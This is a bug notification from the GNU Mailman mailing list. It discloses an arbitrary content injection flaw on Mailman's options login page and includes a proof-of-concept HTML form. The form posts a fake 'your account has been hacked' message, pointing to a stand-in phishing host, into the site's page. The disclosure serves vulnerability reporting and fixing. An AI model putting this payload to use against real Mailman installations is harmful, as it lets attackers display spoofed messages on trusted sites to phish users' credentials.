*** This bug is a security vulnerability *** Private security bug reported:
An issue similar to CVE - https://www.cvedetails.com/cve/CVE-2018-13796/ exists at different endpoint & param. It can lead to a phishing attack. Steps To Reproduce: 1. Copy and save the following HTML code and open it in any browser. Code: <html> <body> <script>history.pushState('', '', '/')</script> <form action="https://example.com/mailman/options/mailman"; method="POST"> <input type="hidden" name="email" value="Your account has been hacked. Kindly go to https://badsite.com or share your credentials at attacker@badsite.com" /> <input type="hidden" name="UserOptions" value="Unsubscribe or edit options" /> <input type="hidden" name="language" value="en" /> <input type="submit" value="Submit request" /> </form> </body> </html> 2. Can be seen there- "Your account has been hacked. Kindly go to https://badsite.com or share your credentials at [email protected]" message will be displayed on the screen. ** Affects: mailman Importance: Medium Assignee: Mark Sapiro (msapiro) Status: Confirmed -- You received this bug notification because you are a member of Mailman Coders, which is subscribed to GNU Mailman. https://bugs.launchpad.net/bugs/1873722 Title: Arbitrary Content Injection via the options login page. To manage notifications about this bug go to: https://bugs.launchpad.net/mailman/+bug/1873722/+subscriptions _______________________________________________ Mailman-coders mailing list [email protected] https://mail.python.org/mailman/listinfo/mailman-coders
